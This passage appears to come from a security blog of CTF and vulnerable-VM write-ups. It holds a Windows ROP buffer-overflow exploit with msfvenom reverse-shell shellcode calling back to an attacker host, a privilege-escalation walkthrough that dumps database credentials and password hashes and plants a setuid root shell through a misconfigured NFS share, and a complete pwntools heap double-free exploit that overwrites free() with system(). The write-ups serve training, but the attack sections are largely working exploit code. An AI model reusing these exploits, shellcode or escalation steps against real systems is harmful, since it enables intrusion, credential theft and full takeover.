    exit (1)

def do_overflow (target, payload, sebp = 'B' * 4):
    target.sendline ('cd ' + 'A' * 43 + sebp + payload + '.')

def boundint (val, nbits):
    return ((val + (1 << nbits)) % (1 << nbits))

'''
0x62502193 : movzx edx, word ptr [eax + 0x62500006] ; mov eax, edx ; ret
'''

def pack_rop (ropchain):
    return ''.join ([struct.pack ('<I', value) for value in ropchain ])

def patch_once (addr, value):
    ropchain = [
        # pop eax ; ret
        0x625014d5,
        value,
        # pop ebx ; ret
        0x62501033,
        boundint (addr - 0x5e5b30c4, 32),
        # add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret
        0x62501a45,
        # junk
        0x12345678,
        # ExitThread (0x87654321)
        func_ExitThread,
        0x87654321
    ]

    return pack_rop (ropchain)

# this bypass the 12 pointers limits by building a second stage payload that
# we'll later pivot to
def write_data (target_ip, target_port, addr, data, sebp = 'B' * 4, align = 4, padding = ' ', verbose = False):
    # pad data so it is aligned
    remain = len (data) % align
    #print 'original len (data) : %d' % len (data)
    if remain != 0:
        data += (align - remain) * padding
    #print 'padded   len (data) : %d' % len (data)

    for idx in range (0, len (data), align):
        value = struct.unpack ('<I', data[idx : idx+4])[0]
        #print 'Writing "%s" at 0x%x' % (data[idx : idx+4], addr + idx)
        payload = patch_once (addr + idx, value)

        if verbose:
            print 'packed : %s' % payload.encode ('hex')
            if '\x00' in payload or '\x0a' in payload in '\x0d' in payload:
                print '[-] There is a NULL for addr = 0x%08x , value = 0x%08x' % (addr + idx, value)

        target = remote (target_ip, target_port)
        do_overflow (target, payload, sebp)
        sleep (0.1)
        target.close ()

# write command
cmd = 'rundll32 Z:\\ftpsvr\\bkp\\shell.dll'

start_data = 0x405060
write_data (rhost, rport, start_data, cmd)

# VirtualAlloc
addr_rop_VirtualAlloc = 0x408610
ropchain = [
    func_VirtualAlloc,
    # JUNK
    0x12345678,
    # ret addr
    addr_ret,
    # addr
    # -> 0x50782172 + 0x615f6f47 * 2 = 0x13370000
    0x50782172,
    # size 
    # -> 0x7f56772e + 0x40554469 * 2 = 0x10000
    0x7f56772e,
    # alloc type = COMMIT + RESERVE = 0x3000
    # -> 0x577f3540 + 0x54407d60 * 2 = 0x3000
    0x577f3540,
    # protect = READ WRITE EXECUTE
    # -> 0x4d216946 + 0x596f4b7d * 2 = 0x40
    0x4d216946,
    # ExitThread ()
    func_ExitThread,
    0x87654321,
    0xdeadbeef
]

payload = pack_rop (ropchain)

has_modif = 4
# write func_system
write_data (rhost, rport, addr_rop_VirtualAlloc, payload)
# fix addr
write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47))
write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47))
# fix size
write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469))
write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469))
# fix alloc type
write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60))
write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60))
# fix protect
write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d))
write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d))

# pivot to VirtualAlloc()
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_VirtualAlloc - 4))

# system (cmd)
print '[+] cmd : 0x%08x' % start_data
print '[+] sys : 0x%08x' % addr_rop_system

# write system
ropchain = [
    # system()
    # 0x517f6746 + 0x5760726b * 2 = 0x404c1c = func_system
    0x517f6746,
    # pop ebx ; ret
    0x62501033,
    # 0x61435170 + 0x4f7e7f78 * 2 = 0x405060
    0x61435170,
    # ExitThread ()
    func_ExitThread,
    0x87654321,
]

payload = pack_rop (ropchain)

# write func_system
write_data (rhost, rport, addr_rop_system, payload)
write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b))
write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b))

# write cmd addr
write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78))
write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78))

# pivot and execute system()
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_system - 4))
target.close ()

print 'addrof (shellcode) = 0x%08x' % addr_shellcode

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f python -b '\x00\x0a'
buf =  ""
buf += "\xba\x10\xf6\xd4\x6c\xdd\xc6\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x46\xf8\x36"
buf += "\x99\x57\xdf\x40\x81\xc4\x9c\xfd\x2c\xe8\xab\xe3\x01"
buf += "\x8a\x66\x63\xf2\x0b\xc9\x5b\x38\x2b\x60\xdd\x3b\x43"
buf += "\xb3\xb5\x84\xf5\x5b\xc4\xf4\xe8\xc7\x41\x15\xba\x9e"
buf += "\x01\x87\xe9\xed\xa1\xae\xec\xdf\x26\xe2\x86\xb1\x09"
buf += "\x70\x3e\x26\x79\x59\xdc\xdf\x0c\x46\x72\x73\x86\x68"
buf += "\xc2\x78\x55\xea"
shellcode = buf

print 'sizeof shellcode : %d' % len (shellcode)

# pivot and execute shellcode
payload = '\x90' * 10 + shellcode
write_data (rhost, rport, addr_shellcode, payload)

# trigger exec
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_shellcode + 10), struct.pack ('<I', addr_shellcode + 0x500 - 4))
target.close ()

Post-Exploitation : Privilege Escalation


For privilege escalation, usual checks are made:
- processes running as root
- cronjobs
- suid binaries
- credentials
- misconfigured services
- trust relationships : probably get info somewhere else, come back and root
- kernel version
- etc

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(b0b) gid=1001(b0b) groups=1001(b0b)
python --version
Python 2.7.6
python -c 'import pty; pty.spawn ("/bin/dash")'
$ id
id
uid=1000(b0b) gid=1001(b0b) groups=1001(b0b)
$ cat /var/www/html/bugs/config/config_inc.php
cat /var/www/html/bugs/config/config_inc.php
<?php

$g_hostname               = 'localhost';
$g_db_type                = 'mysqli';
$g_database_name          = 'bugtracker';
$g_db_username            = 'root';
$g_db_password            = 'bobistheking';
$g_default_timezone       = 'Europe/London';
$g_crypto_master_salt     = 'C+ydu13FkvkVCLSWu85CqxSqS7ougj7EEC+5+CLqF2I=';

$ mysql -uroot -p
mysql -uroot -p
Enter password: bobistheking

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1465
Server version: 5.5.57-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use bugtracker
use bugtracker
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select username,password from mantis_user_table;
select username,password from mantis_user_table;

+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| bob      | facc581c941193bc7edc6b207706fb6e |
| guest    | 084e0343a0486ff05530df6c705c8bb4 |
| Jeff     | facc581c941193bc7edc6b207706fb6e |
| alice    | 247c42400cd044c577400470127b0063 |
| DCheung  | 739e3b6d4c36092dcc5ac222b8e1360d |
+----------+----------------------------------+

5 rows in set (0.03 sec)
mysql> quit
quit
Bye
$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#        to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/ftpsvr/bkp           *(rw,sync,no_root_squash,no_subtree_check)

We got our way to escalate our privileges!
no_root_squash is a big no no for NFS configuration.
This allow users to upload setuid root binaries on the server through
that misconfigured share.

 no_root_squash - Allows root users on client computers to have root
access on the server. Mount requests for root are not be mounted to
the anonomous user. This option is needed for diskless clients.

Looking at the folder, we get to see that the bkp folder is only readable by
members of the 'backup' group. Reading /etc/passwd yield al1ce as being a
member of that group.

We first need to login as al1ce before enjoying our root suid shell.

b0b@C0m80:~$ ls -la .ssh/
total 24
drwx------  2 b0b b0b 4096 Sep 23 18:42 .
drwxr-xr-x 21 b0b b0b 4096 Oct 11 12:05 ..
-rw-------  1 b0b b0b 1766 Sep 22 21:05 id_rsa
-rw-r--r--  1 b0b b0b  391 Sep 22 21:05 id_rsa.pub
-rw-r--r--  1 b0b b0b  222 Sep 23 02:58 known_hosts
-rw-rw-r--  1 b0b b0b  181 Sep 23 04:32 .save~
b0b@C0m80:~$ cat .ssh/.save~ 

###### NO PASWORD HERE SRY ######

I'm using my new password manager

           PWMangr2

      just a note to say

   WELL DONE & KEEP IT UP ;D

#################################

I went looking for that password manager and ended up finding a page:
/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html

meterpreter> download '/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html'

Opening that .html file on a browser, we can access the passwords by guessing
"alice".
Hints are quite a bad idea for logins. Most of the time than not, user have bad
password habits and their hints often give out their password or reduce the
search space tremendously.

We can find the password for b0b thanks to the hint, the password is : alice.
The password for al1ce is not valid for her account but for b0b's ssh private key.

If you've searched through al1ce home folder, you'd have seen that we can
connect to her account thanks to her .ssh/authorized_keys which includes bob's
public key.

The SSH service is only locally reachable.
To reach it from outside, we can use ncat as a port forwarder.

b0b@C0m80:~$ ncat --sh-exec "ncat ::1 65122" -l 10022 --keep-open

SSH in al1ce account using the exfiltrated bob's private key
and the key password (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286).

With al1ce account, we now have access to /ftpsvr/bkp/.

al1ce@C0m80:~$ id
uid=1001(al1ce) gid=34(backup) groups=34(backup)
al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/
total 2.7M
4.0K drwxrwx--- 2 root   backup 4.0K Sep 23 02:37 .
4.0K drwxr-xr-x 3 b0b    b0b    4.0K Sep 23 01:07 ..
2.7M -rw-r--r-- 1 backup backup 2.7M Oct 11 17:20 ftp104.bkp

Using our NFS access, we upload a root setuid binary.

On our attacker's machine:

root@kali:~/c0m80# mount 192.168.56.106:/ftpsvr/bkp/ bkp/
root@kali:~/c0m80# cp bash bkp/
root@kali:~/c0m80# ls -lash bkp/bash
964K -rwxr-xr-x 1 root root 964K Oct 11  2017 bkp/bash
root@kali:~/c0m80# chmod +s bkp/bash 
root@kali:~/c0m80# ls -lash bkp/bash
964K -rwsr-sr-x 1 root root 964K Oct 11  2017 bkp/bash
root@kali:~/c0m80# umount bkp

Now with al1ce account:

al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/bash 
964K -rwsr-sr-x 1 root root 964K Oct 11 17:23 /ftpsvr/bkp/bash
al1ce@C0m80:~$ /ftpsvr/bkp/bash -p
bash-4.3# id
uid=1001(al1ce) gid=34(backup) euid=0(root) egid=0(root) groups=0(root),34(backup)
bash-4.3# ls -lash /root/flag.txt 
4.0K -rw-r--r-- 1 root root 400 Sep 23 20:29 /root/flag.txt
bash-4.3# cat /root/flag.txt 
############## WELL DONE ###############

You dealt BestestSoftware a killer C0m80

I really hope you enjoyed the challenge
and learned a thing of two while on your
journey here.

Please leave feelback & comments at:    

      https://3mrgnc3.ninja/

All the best.

  3mrgnc3 

  ;D


############  ROOT FLAG ##############

   K1ll3rC0m80D3@l7&i5mash3dth1580x

######################################


And that's it for that VM, we rooted it, we're god on it.

Conclusion


This VM was interesting on multiple levels:
- enumerate enumerate enumerate
- classic pentesting : nmap, enum4linux, showmount, etc
- exploit development
- multiple scripts had to be written
- it was not another VM with an easily exploitable RFI, LFI or SQLi

I hope you enjoyed the read,

Until next time,

m_101

mercredi 30 août 2017

RHMe3 Qualifier - Heap Exploitaiton

Hi,

This year, Riscure organized a CTF composed of 3 challenges : 2 crypto challenges and 1 exploitation challenge.
I only did the exploitation challenge.

We'll start by patching the binary in order to run it on our box. Then reversing the binary and finally exploiting it. We'll use radare2 for the whole analysis.

Patching


In the background_process() daemonize() functions, there are some functions calls that cause the program to exit() if the conditions are not met.

background_process() function


[0x00400ec0]> pdf @ sym.background_process 
/ (fcn) sym.background_process 236
|   sym.background_process ();
|           ; var int local_128h @ rbp-0x128
|           ; var int local_118h @ rbp-0x118
|           ; var int local_110h @ rbp-0x110
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x004021b2 (main)
|           0x00401033      55             push rbp
|           0x00401034      4889e5         mov rbp, rsp
|           0x00401037      4881ec300100.  sub rsp, 0x130
|           0x0040103e      4889bdd8feff.  mov qword [local_128h], rdi
|           0x00401045      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x44a8 ; '('
|           0x0040104e      488945f8       mov qword [local_8h], rax
|           0x00401052      31c0           xor eax, eax
|           0x00401054      488b85d8feff.  mov rax, qword [local_128h]
|           0x0040105b      4889c7         mov rdi, rax
|           0x0040105e      e82dfdffff     call sym.imp.getpwnam
|           0x00401063      488985e8feff.  mov qword [local_118h], rax
|           0x0040106a      4883bde8feff.  cmp qword [local_118h], 0
|       ,=< 0x00401072      750a           jne 0x40107e
|       |   0x00401074      bf01000000     mov edi, 1
|       |   0x00401079      e8f2fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x00401072 (sym.background_process)
|       `-> 0x0040107e      488b95d8feff.  mov rdx, qword [local_128h]
|           0x00401085      488d85f0feff.  lea rax, qword [local_110h]
|           0x0040108c      be44234000     mov esi, str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s"
|           0x00401091      4889c7         mov rdi, rax
|           0x00401094      b800000000     mov eax, 0
|           0x00401099      e8b2fdffff     call sym.imp.sprintf        ; int sprintf(char *s,
|           0x0040109e      488d85f0feff.  lea rax, qword [local_110h]
|           0x004010a5      4889c7         mov rdi, rax
|           0x004010a8      e809ffffff     call sym.daemonize
|           0x004010ad      be00000000     mov esi, 0
|           0x004010b2      bf00000000     mov edi, 0
|           0x004010b7      e884fcffff     call sym.imp.setgroups
|           0x004010bc      85c0           test eax, eax
|       ,=< 0x004010be      790a           jns 0x4010ca
|       |   0x004010c0      bf01000000     mov edi, 1
|       |   0x004010c5      e8a6fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010be (sym.background_process)
|       `-> 0x004010ca      488b85e8feff.  mov rax, qword [local_118h]
|           0x004010d1      8b4014         mov eax, dword [rax + 0x14] ; [0x14:4]=1
|           0x004010d4      89c7           mov edi, eax
|           0x004010d6      e835fdffff     call sym.imp.setgid
|           0x004010db      85c0           test eax, eax
|       ,=< 0x004010dd      790a           jns 0x4010e9
|       |   0x004010df      bf01000000     mov edi, 1
|       |   0x004010e4      e887fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010dd (sym.background_process)
|       `-> 0x004010e9      488b85e8feff.  mov rax, qword [local_118h]
|           0x004010f0      8b4010         mov eax, dword [rax + 0x10] ; [0x10:4]=0x3e0002
|           0x004010f3      89c7           mov edi, eax
|           0x004010f5      e886fdffff     call sym.imp.setuid
|           0x004010fa      85c0           test eax, eax
|       ,=< 0x004010fc      790a           jns 0x401108
|       |   0x004010fe      bf01000000     mov edi, 1
|       |   0x00401103      e868fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010fc (sym.background_process)
|       `-> 0x00401108      90             nop
|           0x00401109      488b45f8       mov rax, qword [local_8h]
|           0x0040110d      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401116      7405           je 0x40111d
|       |   0x00401118      e8a3fbffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401116 (sym.background_process)
|       `-> 0x0040111d      c9             leave
\           0x0040111e      c3             ret

deamonize() function


[0x00400ec0]> pdf @ sym.daemonize 
/ (fcn) sym.daemonize 125
|   sym.daemonize ();
|           ; var int local_18h @ rbp-0x18
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; CALL XREF from 0x004010a8 (sym.background_process)
|           0x00400fb6      55             push rbp
|           0x00400fb7      4889e5         mov rbp, rsp
|           0x00400fba      4883ec20       sub rsp, 0x20
|           0x00400fbe      48897de8       mov qword [local_18h], rdi
|           0x00400fc2      e899feffff     call sym.imp.getppid
|           0x00400fc7      83f801         cmp eax, 1
|       ,=< 0x00400fca      7464           je 0x401030
|       |   0x00400fcc      e8bffeffff     call sym.imp.fork
|       |   0x00400fd1      8945f8         mov dword [local_8h], eax
|       |   0x00400fd4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fd8      790a           jns 0x400fe4
|      ||   0x00400fda      bf01000000     mov edi, 1
|      ||   0x00400fdf      e88cfeffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fd8 (sym.daemonize)
|      `--> 0x00400fe4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fe8      7e0a           jle 0x400ff4
|      ||   0x00400fea      bf00000000     mov edi, 0
|      ||   0x00400fef      e87cfeffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fe8 (sym.daemonize)
|      `--> 0x00400ff4      e857fdffff     call sym.imp.setsid
|       |   0x00400ff9      8945fc         mov dword [local_4h], eax
|       |   0x00400ffc      837dfc00       cmp dword [local_4h], 0
|      ,==< 0x00401000      790a           jns 0x40100c
|      ||   0x00401002      bf01000000     mov edi, 1
|      ||   0x00401007      e864feffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00401000 (sym.daemonize)
|      `--> 0x0040100c      bf00000000     mov edi, 0
|       |   0x00401011      e88afdffff     call sym.imp.umask          ; int umask(int m)
|       |   0x00401016      488b45e8       mov rax, qword [local_18h]
|       |   0x0040101a      4889c7         mov rdi, rax
|       |   0x0040101d      e88efcffff     call sym.imp.chdir
|       |   0x00401022      85c0           test eax, eax
|      ,==< 0x00401024      790b           jns 0x401031
|      ||   0x00401026      bf01000000     mov edi, 1
|      ||   0x0040102b      e840feffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fca (sym.daemonize)
|      |`-> 0x00401030      90             nop
|      |       ; JMP XREF from 0x00401024 (sym.daemonize)
|      `--> 0x00401031      c9             leave
\           0x00401032      c3             ret

The calls to patch:
- getppid()
- setgroups()
- setgid()
- setuid()
- getpwname() (i didn't patch it, i created the user)
- chdir() (i didn't patch it, i created the user)

For the patching, I wrote a simple C program that does the job, it searches for signatures and then patch it.




#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int patch_once (FILE *fp, char *needle, int len_needle, char *mod, int len_mod)
{
    char buf[512];
    char *ptr;
    int idx;
    int found;
    int cur_off;
    int rewinded;

    fseek (fp, 0, SEEK_SET);

    // look for needle
    rewinded = 0;
    do {
        cur_off = ftell (fp);
        memset (buf, 0, sizeof (buf));
        ptr = fgets (buf, sizeof (buf), fp);
        if (!ptr)
            break;
        //printf ("cur_off : %d\n", cur_off);

        // look for needle
        found = -1;
        for (idx = 0; idx < sizeof (buf); idx++) {
            if (buf[idx] == *needle) {
                //printf ("Got first char at %d\n", cur_off + idx);
                if (memcmp (buf + idx, needle, len_needle) == 0) {
                    printf ("[+] Found needle\n");
                    found = idx;
                }
                else {
                    // if we already checked the untruncated buffer
                    // then move forward
                    if (rewinded) {
                        fseek (fp, cur_off + idx + 1, SEEK_SET);
                        rewinded = 0;
                    }
                    // we rewind fully in order to get untruncated buffer
                    else {
                        fseek (fp, cur_off + idx, SEEK_SET);
                        rewinded = 1;
                    }
                }

                break;
            }
        }

        // if we found the needle
        // then patch it
        if (0 <= found) {
            printf ("[+] Patched at %d\n", cur_off + found);
            fseek (fp, cur_off + found, SEEK_SET);
            fwrite (mod, len_mod, 1, fp);
            break;
        }
    } while (ptr);

    return 0;
}

int main (int argc, char **argv)
{
    FILE *fp;
    // patch for getppid in daemonize()
    char getppid_sig[] = "\x74\x64\xe8\xbf\xfe\xff\xff";
    char getppid_patch[] = "\x75\x64\xe8\xbf\xfe\xff\xff";
    // patch for setgroups in background_process()
    char setgroups_sig[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x79\x0a";
    char setgroups_patch[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x78\x0a";
    // patch for setgid in background_process()
    char setgid_sig[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x79\x0a";
    char setgid_patch[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x78\x0a";
    // patch for setuid in background_process()
    char setuid_sig[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x79\x0a";
    char setuid_patch[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x78\x0a";

    fp = fopen ("./pwn.elf", "r+");
    if (!fp) {
        fprintf (stderr, "[-] Failed opening file\n");
        exit (1);
    }

    printf ("[+] Patching getppid\n");
    patch_once (fp, getppid_sig, strlen (getppid_sig), getppid_patch, strlen (getppid_patch));

    printf ("\n[+] Patching setgroups\n");
    patch_once (fp, setgroups_sig, sizeof (setgroups_sig) - 1, setgroups_patch, sizeof (setgroups_patch) - 1);

    printf ("\n[+] Patching setgid\n");
    patch_once (fp, setgid_sig, sizeof (setgid_sig) - 1, setgid_patch, sizeof (setgid_patch) - 1);

    printf ("\n[+] Patching setuid\n");
    patch_once (fp, setuid_sig, sizeof (setuid_sig) - 1, setuid_patch, sizeof (setuid_patch) - 1);

    fclose (fp);

    return 0;
}


Create the pwn user and the "/opt/riscure/pwn/" directory (unless you patch it ;)).
Now we can run the binary on our machine.

Reversing


Based on the menu we got:

$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

Through reversing the functions, we get the following structure for a player:
struct player_s {
    int attack;
    int defense;
    int speed;
    int precision;
    char *name;
};

The whole program purpose is to manipulate that structure and an array that has room for 10 pointers to this type of object.

Looking quickly at functions, we'll find that:
- select_player() takes a non NULL pointer from an array of player, we'll call this the selected player
- del_player() reset the selected player index to NULL but doesn't NULL the selected player
- Lots of functions re-use this selected player pointer, we got a use-after-free situation

We can see where the UAF happens through cross references:
[0x00400ec0]> axt obj.selected
data 0x401e42 mov rbx, qword obj.selected in sym.set_attack
data 0x401c96 mov qword obj.selected, rax in sym.select_player
data 0x401cb6 mov rax, qword obj.selected in sym.select_player
data 0x401fc1 mov rbx, qword obj.selected in sym.set_precision
data 0x4020cb mov rax, qword obj.selected in sym.show_player
data 0x4020f2 mov rax, qword obj.selected in sym.show_player
data 0x401ec1 mov rbx, qword obj.selected in sym.set_defense
data 0x401d3a mov rax, qword obj.selected in sym.set_name
data 0x401db9 mov rax, qword obj.selected in sym.set_name
data 0x401d65 mov rax, qword obj.selected in sym.set_name
data 0x401da7 mov rax, qword obj.selected in sym.set_name
data 0x401fff mov rax, qword obj.selected in sym.edit_player
data 0x401f41 mov rbx, qword obj.selected in sym.set_speed


Through this UAF we can cause a fastbins double-free situation:
- name then the player structure is free()
- realloc() is called in edit_player(), we can use this to provoke another free on name :)

Exploitation



The game plan:
- create 1 player with our command and 2 players with a small name (< 10 chars), 1 player will serve as a barrier so we don't have the top chunk just after our victim player, even though fastbins are only consolidated through malloc_consolidate() after hitting a threshold
- Now we have player 0, player 1 and player 2.
- select player 1 (our victim player)
- delete player 1 (1st free : free (name); free (header))
- Use the UAF to edit player 1 with a "big" name (50 chars here, still fastbin), this will free name again through realloc() : double free since we got free (name); free (header); free (name).

realloc() free the smaller buffer as it is not enough to store our bigger name. It then allocate a bigger buffer after player 2.

From there it's a classic fastbins double-free attack.
I created an overlap between a header and a controlled name. This allows to read and write memory.
We leak a GOT entry, calculate libc base address and overwrite free() entry with system().

- Now free player 0 to execute your command stored there.

The exploit

Here it is.







#!/usr/bin/python2

'''
author : m_101
desc   : exploit for Riscure RHME 3 heap challenge
date   : 21/08/2017
'''

from pwn import *
import struct

def recv_all (target, timeout = 1):
    result = ''
    while target.can_recv (timeout):
        result += target.recv ()
    return result

def add_player (target, name, attack = 1, defense = 2, speed = 3, precision = 4):
    target.sendline ('1')
    target.sendline (name)
    target.sendline ('%d' % attack)
    target.sendline ('%d' % defense)
    target.sendline ('%d' % speed)
    target.sendline ('%d' % precision)

def del_player (target, index):
    target.sendline ('2')
    target.sendline ('%d' % index)

def select_player (target, index):
    target.sendline ('3')
    target.sendline ('%d' % index)

def edit_player_name (target, name):
    target.sendline ('4')
    # edit name
    target.sendline ('1')
    target.sendline (name)
    # go back to previous menu
    target.sendline ('0')

def show_player (target):
    target.sendline ('5')

def show_team (target):
    target.sendline ('6')

def leak_once (target, addr):
    select_player (target, 3)
    # now we try to overwrite to the corrupted ptr thanks to the overlap
    edit_player_name (target, "c" * 16 + struct.pack ('<I', addr))
    recv_all (target)
    # leak
    select_player (target, 1)
    recv_all (target)
    show_player (target)

    target.recvuntil ('Name: ')
    result = target.recvuntil ('A/D/S/P:')
    result = result[: -len('A/D/S/P:') - 2]

    return result

def leak_bytes (target, addr, n_bytes):
    result = ''
    cur_addr = addr
    while len (result) < n_bytes:
        leaked = leak_once (target, cur_addr)
        leaked += '\x00'
        result += leaked
        cur_addr += len (leaked)
    result = result[:n_bytes]

    return result

def leak_qword (target, addr):
    result = leak_bytes (target, addr, 8)
    val = u64 (result, endian = 'little')
    return val

def write_bytes (target, addr, data):
    cur_addr = addr
    select_player (target, 3)
    # now we try to overwrite to the corrupted ptr thanks to the overlap
    edit_player_name (target, "c" * 16 + struct.pack ('<I', cur_addr))
    recv_all (target)
    # leak
    select_player (target, 1)
    recv_all (target)

    edit_player_name (target, data)
    recv_all (target)

def write_dword (target, addr, dword):
    write_bytes (target, addr, struct.pack ('<I', dword))

def write_qword (target, addr, qword):
    write_bytes (target, addr, struct.pack ('<I', qword & 0xffffffff))
    write_bytes (target, addr + 4, struct.pack ('<I', (qword >> 32) & 0xffffffff))

#target = process ('main.elf')
target = remote ('127.0.0.1', 1337)

# leak heap
add_player (target, 'player0')
select_player (target, 0)
del_player (target, 0)
recv_all (target)
show_player (target)
response = recv_all (target)

# parse leak
lines = response.split ('\n')
found = None
leak = None
for line in lines:
    if 'A/D/S/P' in line:
        found = line
        break
if found:
    kv = found.split (':')
    leak, _, _, _ = kv[1].strip().split (',')
    leak = int (leak, 10)
    print '[+] Got heap address : 0x%x' % leak

# now play with the heap a bit

print '[+] Prepare heap'

add_player (target, '/bin/bash')
add_player (target, 'player2')
add_player (target, 'player3')

select_player (target, 1)

del_player (target, 1)
recv_all (target)

# create fastbin double free()
# realloc() free player2 name as it is shorter than the asked named
# but we already previously freed() hdr2 and name2
# this provokes our double free condition :D

print '[+] Create fastbin double free'

edit_player_name (target, "a" * 50)
recv_all (target)

# create overlap

print '[+] Create overlap'

# we use a header free space
add_player (target, "b" * 40)
# take another header + overlap a name
add_player (target, "c" * 16 + "d" * 4)
recv_all (target)

print '[+] Overwrite'

# read file
binary = ELF ('main.elf')

free_addr = leak_qword (target, binary.got['free'])
libc_base = free_addr - 0x7da20

system_addr = libc_base + 0x410B0
print 'libc base : 0x%x' % libc_base
print 'free()    : 0x%x' % free_addr
print 'system()  : 0x%x' % system_addr

write_bytes (target, binary.got['free'], struct.pack ('<Q', system_addr))
leaked = leak_qword (target, binary.got['free'])
print 'leaked    : 0x%x' % leaked

print '[+] Spawn shell'

del_player (target, 0)
recv_all (target)

target.interactive ()


Conclusion


This challenge presented a nice UAF vulnerability and using the realloc() trick allowed us to exploit a fastbins double-free.
Another way was to play with heap alignment.

Cheers,

m_101

vendredi 27 décembre 2013

[Wargame] Ivan's Amenra : level 1

Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.

Bonsoir!

J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.

La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 
2

On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686
_____    _____   ____   ________________   
\__  \  /     \_/ __ \ /    \_  __ \__  \  
 / __ \|  Y Y  \  ___/|   |  \  | \// __ \_
(____  /__|_|  /\___  >___|  /__|  (____  /
     \/      \/     \/     \/           \/ 


        Amenra wargaming platform

levels are in /home/levelX
pass are in /home/levelX/passwd

Infos :
Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t !
To check if level's stack is +x use : /sbin/paxctl -v levelX
Box reboots everyday
Box can be unstable
Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg 
Be ethical or die !

Tools :
objdump & readelf
gdb 7.2 : symbols files are avaible, if you want to use them do:
set debug-file-directory /usr/lib/debug
python 2.6.6
ruby 1.8.7
nano & vim
gcc 4.4.5 & nasm
strace & ltrace

contact : ivanlef0u@tuxfamily.org

Ok cool, maintenant passons au level1 si vous voulez bien :).

// level1.c
